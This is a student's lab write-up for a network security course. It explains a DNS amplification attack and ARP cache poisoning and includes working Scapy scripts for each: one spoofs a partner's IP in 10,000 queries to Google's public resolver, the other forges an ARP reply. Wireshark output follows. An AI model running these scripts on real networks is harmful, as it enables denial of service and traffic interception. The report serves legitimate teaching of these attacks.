Majd Hamdan

CSCI 1005

DNS amplification, ARP poisoning

January 11, 2021

1 DNS Amplification

- Write a Scapy program that performs a very small-scale DNS-amplification attack against another member of your group. When observing this happening in Wireshark, the victim should turn off promiscuous mode (otherwise it's not evident that the NIC is actually passing the packets up to the kernel and thus clogging things).

The idea behind DNS amplification is cause denial of service to the victim. We want to flood their internet pipe with DNS requests to prevent them from accessing internet. We can do this by sending a lot of packets directly from us to them. However, this won't work if they have faster internet access than we do. Another way to do this involves sending many DNS requests to a DNS server and then have the DNS server respond back to the victim IP address. We can do this by changing the source IP in our DNS request to the victim's source IP. This will flood the victim's internet pipe because a DNS answer is usually longer than a DNS request. For example, if a DNS answer is double the size of a DNS request and we sent DNS request to a DNS server that blocked our internet access for 20 seconds, it will block the victim's access for 40 seconds. This is what's meant by amplification.

Following the scapy guides here: https://scapy.readthedocs.io/en/latest/usage.html#arp-cache-poisoning, we created the following Python program to implement the amplification:

```python
# dns_amplification.py

from scapy.all import *


# 8.8.8.8 is google's DNS server
# 140.233.103.43 is my partner's IP address (victim)
# we are sending the info to port 53 on google's server from a random port
    on our device (RandShort())
# We are asking google's DNS server to send us the IP address of hello.org
   (random website).
# The qtype is just setting the DNS request to a query.
def dns_packet():
    dns = IP(dst="8.8.8.8", src="140.233.103.43")/UDP(sport=RandShort(),
   dport=53)/DNS(rd=1,qd=DNSQR(qname="hello.org",qtype="A"))
    return dns

for i in range(10000):
    dns = dns_packet()
    send(dns_packet())
```

When we used wireshark on my partner's computer (victim), we saw the DNS answers appearing on his computer from 8.8.8.8 even though he didn't send them.

2 ARP poisoning

- Assign a role to each member of the group: victim, bystander, and attacker. The victim and bystander software should be unmodified, unfirewalled, and unpromiscuous. The victim should issue an ARP request and the attacker should attempt to respond with a crafted, malicious response that causes future packets with the bystander's IP address in the destination field to be sent to the attacker instead of the bystander.

  DO NOT (TRY TO) SPOOF THE ROUTER.

  DO NOT (TRY TO) DO BAD THINGS TO ANY OF THESE HOSTS: .1, .2, .3, .10. (They're necessary for the course-specific wireless access point to work.)

The idea behind an ARP poisoning is steel a victim's IP address-or better put: to have packets that were supposed to be directed to the victim to be directed to the attacker instead. This can be done using ARP. In ARP request (bystander), we broadcast a message to the network asking for the Mac address associated with an IP address (victim) we have. The device with that Mac address will respond declaring ownership of the IP address and associating their Mac address with it (victim). If we were able to respond before the victim and claim ownership of that IP address, we will have all the packets coming from the bystander to the victim be directed to us instead. We effectively "poisoned" the bystander ARP table. The following Python code perform the ARP response. I had two partners for this exercise; a bystander and a victim. Their Mac and IP addresses are shown in the Python code:

```python
# arp_poisoning.py

from scapy.all import *



def poison():
    my_ip = "140.233.103.47"
    my_mac = "30:24:32:AC:9C:BB"
    victim_mac = "08:00:27:d8:13:e1"
    victim_ip = "140.233.103.222"
    bystand_mac = "86:c5:5d:4b:3a:0b"
    bystand_ip = "140.233.103.138"
    # send an arp response to bystander Mac address from victim ip address
     telling bystander that victim ip address is associatiated to my mac
    address.
    s = Ether(dst=bystand_mac, src=my_mac)/ARP(op=0x2, hwsrc=my_mac, hwdst
    =bystand_mac,  psrc=victim_ip,  pdst=bystand_ip )
    sendp(s)
    s.show()
poison()
```

Using wireshark, I was able to see this message being send out of my device:

```
Frame 3347: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on
    interface enp0s3, id 0
Ethernet II, Src: IntelCor_ac:9c:bb (30:24:32:ac:9c:bb), Dst: 86:c5:5d:4b
    :3a:0b (86:c5:5d:4b:3a:0b)
    Destination: 86:c5:5d:4b:3a:0b (86:c5:5d:4b:3a:0b)
    Source: IntelCor_ac:9c:bb (30:24:32:ac:9c:bb)
    Type: ARP (0x0806)
Address Resolution Protocol (reply)
    Hardware type: Ethernet (1)
    Protocol type: IPv4 (0x0800)
    Hardware size: 6
    Protocol size: 4
    Opcode: reply (2)
    Sender MAC address: IntelCor_ac:9c:bb (30:24:32:ac:9c:bb)
    Sender IP address: 140.233.103.222
    Target MAC address: 86:c5:5d:4b:3a:0b (86:c5:5d:4b:3a:0b)
    Target IP address: 140.233.103.138
```

However, bystander and victim weren't able to see it. We were all, however, able to see all the legit ARP requests and responses sent in the network. The theory is that the access point keeps track of the devices conntected to the network and their IP and Mac addresses. When the access points sees my ARP response and discovers that my mac address is not associated witht he IP address in it, it blocks that packet. This could explain why bystander and victim are unable to see my response.